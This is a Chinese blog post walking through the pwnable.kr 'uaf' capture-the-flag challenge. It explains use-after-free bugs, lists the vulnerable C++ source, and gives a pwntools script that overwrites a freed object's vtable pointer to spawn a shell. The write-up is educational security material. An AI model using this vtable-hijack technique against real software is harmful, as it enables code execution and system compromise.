Use-After-Free
阿新 • • 發佈:2017-07-20
sign virt std bin 兩個 原理 函數 block cat
0x00 UAF利用原理
uaf漏洞產生的主要原因是釋放了一個堆塊後,並沒有將該指針置為NULL,這樣導致該指針處於懸空的狀態(這個指針可以稱為惡性迷途指針),同樣被釋放的內存如果被惡意構造數據,就有可能會被利用。
0x01 UAF漏洞的利用步驟
(1)先精心構造一個迷途指針
(2)再精心構造數據填充被釋放的內存區域
(3)再次使用該指針,改變程序流程
0x02 Pwnable.kr-uaf
源碼如下;
1 #include <fcntl.h> 2 #include <iostream> 3 #include <cstring> 4uaf#include <cstdlib> 5 #include <unistd.h> 6 using namespace std; 7 8 class Human{ 9 private: 10 virtual void give_shell(){ 11 system("/bin/sh"); 12 } 13 protected: 14 int age; 15 string name; 16 public: 17 virtual void introduce(){ 18 cout << "My name is " << name << endl; 19 cout << "I am " << age << " years old" << endl; 20 } 21 }; 22 23 class Man: public Human{ 24 public: 25 Man(string name, int age){ 26 this->name = name; 27 this->age = age; 28 }29 virtual void introduce(){ 30 Human::introduce(); 31 cout << "I am a nice guy!" << endl; 32 } 33 }; 34 35 class Woman: public Human{ 36 public: 37 Woman(string name, int age){ 38 this->name = name; 39 this->age = age; 40 } 41 virtual void introduce(){ 42 Human::introduce(); 43 cout << "I am a cute girl!" << endl; 44 } 45 }; 46 47 int main(int argc, char* argv[]){ 48 Human* m = new Man("Jack", 25); 49 Human* w = new Woman("Jill", 21); 50 51 size_t len; 52 char* data; 53 unsigned int op; 54 while(1){ 55 cout << "1. use\n2. after\n3. free\n"; 56 cin >> op; 57 58 switch(op){ 59 case 1: 60 m->introduce(); 61 w->introduce(); 62 break; 63 case 2: 64 len = atoi(argv[1]); 65 data = new char[len]; 66 read(open(argv[2], O_RDONLY), data, len); 67 cout << "your data is allocated" << endl; 68 break; 69 case 3: 70 delete m; 71 delete w; 72 break; 73 default: 74 break; 75 } 76 } 77 78 return 0; 79 }
根據分析源碼,大致漏洞利用思路:
因為在main函數開始處已經申請了兩塊內存
Human* m = new Man("Jack", 25); Human* w = new Woman("Jill", 21);
我們只要執行case 3就可以讓這兩個指針成為迷途指針,加以利用
case 3: delete m; delete w; break;
觀察到case 2 申請了一塊內存,並且對這塊內存進行寫操作
case 2: len = atoi(argv[1]); data = new char[len]; read(open(argv[2], O_RDONLY), data, len); cout << "your data is allocated" << endl; break;
在具體利用之前我們先簡單分析一下此時堆內存的分配情況,具體是c++類存在虛函數時的分配情況,我這裏不細說,只給出結論,具體的可以參照
1.IDA pro第二版124面
2.c++類實例在內存中的分配 (轉)
此時堆內存分配大致如下圖所示:
加上case 1中執行introduce函數
case 1: m->introduce(); w->introduce(); break;
vtable指針指向類的虛函數表,introduce函數處於虛函數表第二項,即*(vtable+8)所指向的地址,又知道在虛表中give_shell函數的位置等於introduce函數位置 - 8.意思是假如我們先把vtable的值覆蓋為vtable - 8,那麽再執行introduce函數時就相當於執行give_shell函數。
通過IDA逆向分析,我們找到類Man的vtable的地址為0x401570.
利用腳本如下:
from pwn import * pwn_ssh = ssh(host=‘pwnable.kr‘,user=‘uaf‘,password=‘guest‘,port=2222) print pwn_ssh.connected() vtable_addr = 0x401570 argv=[‘uaf‘,‘24‘,p64(vtable_addr - 8)] io = pwn_ssh.process(argv,executable=‘./uaf‘) io.recvuntil(‘3. free\n‘) io.sendline(‘3‘) io.recvuntil(‘3. free\n‘) io.sendline(‘2‘) io.recvuntil(‘3. free\n‘) io.sendline(‘1‘) io.interactive()
0x03 參考鏈接
pwnable.kr之uaf
逆向安全系列:Use After Free漏洞淺析
iOS冰與火之歌 – UAF and Kernel Pwn
Use-After-Free